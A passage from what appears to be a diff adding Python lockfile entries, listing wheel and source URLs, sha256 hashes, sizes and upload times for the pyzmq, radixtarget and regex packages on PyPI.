"https://files.pythonhosted.org/packages/47/42/1ff831fa87fe8f0a840ddb399054ca0009605d820e2b44ea43114f5459f4/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62", size = 567747, upload-time = "2025-09-08T23:09:43.741Z" }, + { url = "https://files.pythonhosted.org/packages/d1/db/5c4d6807434751e3f21231bee98109aa57b9b9b55e058e450d0aef59b70f/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74", size = 747371, upload-time = "2025-09-08T23:09:45.575Z" }, + { url = "https://files.pythonhosted.org/packages/26/af/78ce193dbf03567eb8c0dc30e3df2b9e56f12a670bf7eb20f9fb532c7e8a/pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba", size = 544862, upload-time = "2025-09-08T23:09:47.448Z" }, + { url = "https://files.pythonhosted.org/packages/4c/c6/c4dcdecdbaa70969ee1fdced6d7b8f60cfabe64d25361f27ac4665a70620/pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066", size = 836265, upload-time = "2025-09-08T23:09:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/3e/79/f38c92eeaeb03a2ccc2ba9866f0439593bb08c5e3b714ac1d553e5c96e25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604", size = 800208, upload-time = "2025-09-08T23:09:51.073Z" }, + { url = "https://files.pythonhosted.org/packages/49/0e/3f0d0d335c6b3abb9b7b723776d0b21fa7f3a6c819a0db6097059aada160/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c", size = 567747, upload-time = "2025-09-08T23:09:52.698Z" }, + { url = "https://files.pythonhosted.org/packages/a1/cf/f2b3784d536250ffd4be70e049f3b60981235d70c6e8ce7e3ef21e1adb25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271", size = 747371, upload-time = "2025-09-08T23:09:54.563Z" }, + { url = "https://files.pythonhosted.org/packages/01/1b/5dbe84eefc86f48473947e2f41711aded97eecef1231f4558f1f02713c12/pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355", size = 544862, upload-time = "2025-09-08T23:09:56.509Z" }, +] + +[[package]] +name = "radixtarget" +version = "3.0.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/26/89/1c19b98c48f703fe654f3e7d8986556573fe412945f13842240b7cf87e9a/radixtarget-3.0.15.tar.gz", hash = "sha256:dedfad3aea1e973f261b7bc0d8936423f59ae4d082648fd496c6cdfdfa069fea", size = 108237, upload-time = "2024-12-16T16:35:44.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/b4/b461d1c1d200a76216fd4c277492c706ec2a8552fd015158ae063dcc6940/radixtarget-3.0.15-py3-none-any.whl", hash = "sha256:1e1d0dd3e8742ffcfc42084eb238f31f6785626b876ab63a9f28a29e97bd3bb0", size = 108810, upload-time = "2024-12-16T16:35:41.208Z" }, +] + +[[package]] +name = "regex" +version = "2026.1.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/86/07d5056945f9ec4590b518171c4254a5925832eb727b56d3c38a7476f316/regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5", size = 414811, upload-time = "2026-01-14T23:18:02.775Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/d2/e6ee96b7dff201a83f650241c52db8e5bd080967cb93211f57aa448dc9d6/regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e", size = 488166, upload-time = "2026-01-14T23:13:46.408Z" }, + { url = "https://files.pythonhosted.org/packages/23/8a/819e9ce14c9f87af026d0690901b3931f3101160833e5d4c8061fa3a1b67/regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f", size = 290632, upload-time = "2026-01-14T23:13:48.688Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c3/23dfe15af25d1d45b07dfd4caa6003ad710dcdcb4c4b279909bdfe7a2de8/regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b", size = 288500, upload-time = "2026-01-14T23:13:50.503Z" }, + { url = "https://files.pythonhosted.org/packages/c6/31/1adc33e2f717df30d2f4d973f8776d2ba6ecf939301efab29fca57505c95/regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c", size = 781670, upload-time = "2026-01-14T23:13:52.453Z" }, + { url = "https://files.pythonhosted.org/packages/23/ce/21a8a22d13bc4adcb927c27b840c948f15fc973e21ed2346c1bd0eae22dc/regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9", size = 850820, upload-time = "2026-01-14T23:13:54.894Z" }, + { url = "https://files.pythonhosted.org/packages/6c/4f/3eeacdf587a4705a44484cd0b30e9230a0e602811fb3e2cc32268c70d509/regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c", size = 898777, upload-time = "2026-01-14T23:13:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/79/a9/1898a077e2965c35fc22796488141a22676eed2d73701e37c73ad7c0b459/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106", size = 791750, upload-time = "2026-01-14T23:13:58.527Z" }, + { url = "https://files.pythonhosted.org/packages/4c/84/e31f9d149a178889b3817212827f5e0e8c827a049ff31b4b381e76b26e2d/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618", size = 782674, upload-time = "2026-01-14T23:13:59.874Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ff/adf60063db24532add6a1676943754a5654dcac8237af024ede38244fd12/regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4", size = 767906, upload-time = "2026-01-14T23:14:01.298Z" }, + { url = "https://files.pythonhosted.org/packages/af/3e/e6a216cee1e2780fec11afe7fc47b6f3925d7264e8149c607ac389fd9b1a/regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79", size = 774798, upload-time = "2026-01-14T23:14:02.715Z" }, + { url = "https://files.pythonhosted.org/packages/0f/98/23a4a8378a9208514ed3efc7e7850c27fa01e00ed8557c958df0335edc4a/regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9", size = 845861, upload-time = "2026-01-14T23:14:04.824Z" }, + { url = "https://files.pythonhosted.org/packages/f8/57/d7605a9d53bd07421a8785d349cd29677fe660e13674fa4c6cbd624ae354/regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220", size = 755648, upload-time = "2026-01-14T23:14:06.371Z" }, + { url = "https://files.pythonhosted.org/packages/6f/76/6f2e24aa192da1e299cc1101674a60579d3912391867ce0b946ba83e2194/regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13", size = 836250, upload-time = "2026-01-14T23:14:08.343Z" }, + { url = "https://files.pythonhosted.org/packages/11/3a/1f2a1d29453299a7858eab7759045fc3d9d1b429b088dec2dc85b6fa16a2/regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3", size = 779919, upload-time = "2026-01-14T23:14:09.954Z" }, + { url = "https://files.pythonhosted.org/packages/c0/67/eab9bc955c9dcc58e9b222c801e39cff7ca0b04261792a2149166ce7e792/regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218", size = 265888, upload-time = "2026-01-14T23:14:11.35Z" }, + { url = "https://files.pythonhosted.org/packages/1d/62/31d16ae24e1f8803bddb0885508acecaec997fcdcde9c243787103119ae4/regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a", size = 277830, upload-time = "2026-01-14T23:14:12.908Z" }, + { url = "https://files.pythonhosted.org/packages/e5/36/5d9972bccd6417ecd5a8be319cebfd80b296875e7f116c37fb2a2deecebf/regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3", size = 270376, upload-time = "2026-01-14T23:14:14.782Z" }, + { url = "https://files.pythonhosted.org/packages/d0/c9/0c80c96eab96948363d270143138d671d5731c3a692b417629bf3492a9d6/regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a", size = 488168, upload-time = "2026-01-14T23:14:16.129Z" }, + { url = "https://files.pythonhosted.org/packages/17/f0/271c92f5389a552494c429e5cc38d76d1322eb142fb5db3c8ccc47751468/regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f", size = 290636, upload-time = "2026-01-14T23:14:17.715Z" }, + { url = "https://files.pythonhosted.org/packages/a0/f9/5f1fd077d106ca5655a0f9ff8f25a1ab55b92128b5713a91ed7134ff688e/regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1", size = 288496, upload-time = "2026-01-14T23:14:19.326Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e1/8f43b03a4968c748858ec77f746c286d81f896c2e437ccf050ebc5d3128c/regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b", size = 793503, upload-time = "2026-01-14T23:14:20.922Z" }, + { url = "https://files.pythonhosted.org/packages/8d/4e/a39a5e8edc5377a46a7c875c2f9a626ed3338cb3bb06931be461c3e1a34a/regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8", size = 860535, upload-time = "2026-01-14T23:14:22.405Z" }, + { url = "https://files.pythonhosted.org/packages/dc/1c/9dce667a32a9477f7a2869c1c767dc00727284a9fa3ff5c09a5c6c03575e/regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413", size = 907225, upload-time = "2026-01-14T23:14:23.897Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3c/87ca0a02736d16b6262921425e84b48984e77d8e4e572c9072ce96e66c30/regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026", size = 800526, upload-time = "2026-01-14T23:14:26.039Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/647d5715aeea7c87bdcbd2f578f47b415f55c24e361e639fe8c0cc88878f/regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785", size = 773446, upload-time = "2026-01-14T23:14:28.109Z" }, + { url = "https://files.pythonhosted.org/packages/af/89/bf22cac25cb4ba0fe6bff52ebedbb65b77a179052a9d6037136ae93f42f4/regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e", size = 783051, upload-time = "2026-01-14T23:14:29.929Z" }, + { url = "https://files.pythonhosted.org/packages/1e/f4/6ed03e71dca6348a5188363a34f5e26ffd5db1404780288ff0d79513bce4/regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763", size = 854485, upload-time = "2026-01-14T23:14:31.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/9a/8e8560bd78caded8eb137e3e47612430a05b9a772caf60876435192d670a/regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb", size = 762195, upload-time = "2026-01-14T23:14:32.802Z" }, + { url = "https://files.pythonhosted.org/packages/38/6b/61fc710f9aa8dfcd764fe27d37edfaa023b1a23305a0d84fccd5adb346ea/regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2", size = 845986, upload-time = "2026-01-14T23:14:34.898Z" }, + { url = "https://files.pythonhosted.org/packages/fd/2e/fbee4cb93f9d686901a7ca8d94285b80405e8c34fe4107f63ffcbfb56379/regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1", size = 788992, upload-time = "2026-01-14T23:14:37.116Z" }, + { url = "https://files.pythonhosted.org/packages/ed/14/3076348f3f586de64b1ab75a3fbabdaab7684af7f308ad43be7ef1849e55/regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569", size = 265893, upload-time = "2026-01-14T23:14:38.426Z" }, + { url = "https://files.pythonhosted.org/packages/0f/19/772cf8b5fc803f5c89ba85d8b1870a1ca580dc482aa030383a9289c82e44/regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7", size = 277840, upload-time = "2026-01-14T23:14:39.785Z" }, + { url = "https://files.pythonhosted.org/packages/78/84/d05f61142709474da3c0853222d91086d3e1372bcdab516c6fd8d80f3297/regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec", size = 270374, upload-time = "2026-01-14T23:14:41.592Z" }, + { url = "https://files.pythonhosted.org/packages/92/81/10d8cf43c807d0326efe874c1b79f22bfb0fb226027b0b19ebc26d301408/regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1", size = 489398, upload-time = "2026-01-14T23:14:43.741Z" }, + { url = "https://files.pythonhosted.org/packages/90/b0/7c2a74e74ef2a7c32de724658a69a862880e3e4155cba992ba04d1c70400/regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681", size = 291339, upload-time = "2026-01-14T23:14:45.183Z" }, + { url = "https://files.pythonhosted.org/packages/19/4d/16d0773d0c818417f4cc20aa0da90064b966d22cd62a8c46765b5bd2d643/regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f", size = 289003, upload-time = "2026-01-14T23:14:47.25Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e4/1fc4599450c9f0863d9406e944592d968b8d6dfd0d552a7d569e43bceada/regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa", size = 798656, upload-time = "2026-01-14T23:14:48.77Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e6/59650d73a73fa8a60b3a590545bfcf1172b4384a7df2e7fe7b9aab4e2da9/regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804", size = 864252, upload-time = "2026-01-14T23:14:50.528Z" }, + { url = "https://files.pythonhosted.org/packages/6e/ab/1d0f4d50a1638849a97d731364c9a80fa304fec46325e48330c170ee8e80/regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c", size = 912268, upload-time = "2026-01-14T23:14:52.952Z" }, + { url = "https://files.pythonhosted.org/packages/dd/df/0d722c030c82faa1d331d1921ee268a4e8fb55ca8b9042c9341c352f17fa/regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5", size = 803589, upload-time = "2026-01-14T23:14:55.182Z" }, + { url = "https://files.pythonhosted.org/packages/66/23/33289beba7ccb8b805c6610a8913d0131f834928afc555b241caabd422a9/regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3", size = 775700, upload-time = "2026-01-14T23:14:56.707Z" }, + { url = "https://files.pythonhosted.org/packages/e7/65/bf3a42fa6897a0d3afa81acb25c42f4b71c274f698ceabd75523259f6688/regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb", size = 787928, upload-time = "2026-01-14T23:14:58.312Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f5/13bf65864fc314f68cdd6d8ca94adcab064d4d39dbd0b10fef29a9da48fc/regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410", size = 858607, upload-time = "2026-01-14T23:15:00.657Z" }, + { url = "https://files.pythonhosted.org/packages/a3/31/040e589834d7a439ee43fb0e1e902bc81bd58a5ba81acffe586bb3321d35/regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4", size = 763729, upload-time = "2026-01-14T23:15:02.248Z" }, + { url = "https://files.pythonhosted.org/packages/9b/84/6921e8129687a427edf25a34a5594b588b6d88f491320b9de5b6339a4fcb/regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d", size = 850697, upload-time = "2026-01-14T23:15:03.878Z" }, + { url = "https://files.pythonhosted.org/packages/8a/87/3d06143d4b128f4229158f2de5de6c8f2485170c7221e61bf381313314b2/regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22", size = 789849, upload-time = "2026-01-14T23:15:06.102Z" }, + { url = "https://files.pythonhosted.org/packages/77/69/c50a63842b6bd48850ebc7ab22d46e7a2a32d824ad6c605b218441814639/regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913", size = 266279, upload-time = "2026-01-14T23:15:07.678Z" }, + { url = "https://files.pythonhosted.org/packages/f2/36/39d0b29d087e2b11fd8191e15e81cce1b635fcc845297c67f11d0d19274d/regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a", size = 277166, upload-time = "2026-01-14T23:15:09.257Z" }, + { url = "https://files.pythonhosted.org/packages/28/32/5b8e476a12262748851fa8ab1b0be540360692325975b094e594dfebbb52/regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056", size = 270415, upload-time = "2026-01-14T23:15:10.743Z" }, + { url = "https://files.pythonhosted.org/packages/f8/2e/6870bb16e982669b674cce3ee9ff2d1d46ab80528ee6bcc20fb2292efb60/regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e", size = 489164, upload-time = "2026-01-14T23:15:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/9774542e203849b0286badf67199970a44ebdb0cc5fb739f06e47ada72f8/regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10", size = 291218, upload-time = "2026-01-14T23:15:15.647Z" }, + { url = "https://files.pythonhosted.org/packages/b2/87/b0cda79f22b8dee05f774922a214da109f9a4c0eca5da2c9d72d77ea062c/regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc", size = 288895, upload-time = "2026-01-14T23:15:17.788Z" }, + { url = "https://files.pythonhosted.org/packages/3b/6a/0041f0a2170d32be01ab981d6346c83a8934277d82c780d60b127331f264/regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599", size = 798680, upload-time = "2026-01-14T23:15:19.342Z" }, + { url = "https://files.pythonhosted.org/packages/58/de/30e1cfcdbe3e891324aa7568b7c968771f82190df5524fabc1138cb2d45a/regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae", size = 864210, upload-time = "2026-01-14T23:15:22.005Z" }, + { url = "https://files.pythonhosted.org/packages/64/44/4db2f5c5ca0ccd40ff052ae7b1e9731352fcdad946c2b812285a7505ca75/regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5", size = 912358, upload-time = "2026-01-14T23:15:24.569Z" }, + { url = "https://files.pythonhosted.org/packages/79/b6/e6a5665d43a7c42467138c8a2549be432bad22cbd206f5ec87162de74bd7/regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6", size = 803583, upload-time = "2026-01-14T23:15:26.526Z" }, + { url = "https://files.pythonhosted.org/packages/e7/53/7cd478222169d85d74d7437e74750005e993f52f335f7c04ff7adfda3310/regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788", size = 775782, upload-time = "2026-01-14T23:15:29.352Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b5/75f9a9ee4b03a7c009fe60500fe550b45df94f0955ca29af16333ef557c5/regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714", size = 787978, upload-time = "2026-01-14T23:15:31.295Z" }, + { url = "https://files.pythonhosted.org/packages/72/b3/79821c826245bbe9ccbb54f6eadb7879c722fd3e0248c17bfc90bf54e123/regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d", size = 858550, upload-time = "2026-01-14T23:15:33.558Z" }, + { url = "https://files.pythonhosted.org/packages/4a/85/2ab5f77a1c465745bfbfcb3ad63178a58337ae8d5274315e2cc623a822fa/regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3", size = 763747, upload-time = "2026-01-14T23:15:35.206Z" }, + { url = "https://files.pythonhosted.org/packages/6d/84/c27df502d4bfe2873a3e3a7cf1bdb2b9cc10284d1a44797cf38bed790470/regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31", size = 850615, upload-time = "2026-01-14T23:15:37.523Z" }, + { url = "https://files.pythonhosted.org/packages/7d/b7/658a9782fb253680aa8ecb5ccbb51f69e088ed48142c46d9f0c99b46c575/regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3", size = 789951, upload-time = "2026-01-14T23:15:39.582Z" }, + { url = "https://files.pythonhosted.org/packages/fc/2a/5928af114441e059f15b2f63e188bd00c6529b3051c974ade7444b85fcda/regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f", size = 266275, upload-time = "2026-01-14T23:15:42.108Z" }, + { url = "https://files.pythonhosted.org/packages/4f/16/5bfbb89e435897bff28cf0352a992ca719d9e55ebf8b629203c96b6ce4f7/regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e", size = 277145, upload-time = "2026-01-14T23:15:44.244Z" }, + { url = "https://files.pythonhosted.org/packages/56/c1/a09ff7392ef4233296e821aec5f78c51be5e91ffde0d163059e50fd75835/regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337", size = 270411, upload-time = "2026-01-14T23:15:45.858Z" }, + { url = "https://files.pythonhosted.org/packages/3c/38/0cfd5a78e5c6db00e6782fdae70458f89850ce95baa5e8694ab91d89744f/regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be", size = 492068, upload-time = "2026-01-14T23:15:47.616Z" }, + { url = "https://files.pythonhosted.org/packages/50/72/6c86acff16cb7c959c4355826bbf06aad670682d07c8f3998d9ef4fee7cd/regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8", size = 292756, upload-time = "2026-01-14T23:15:49.307Z" }, + { url = "https://files.pythonhosted.org/packages/4e/58/df7fb69eadfe76526ddfce28abdc0af09ffe65f20c2c90932e89d705153f/regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd", size = 291114, upload-time = "2026-01-14T23:15:51.484Z" }, + { url = 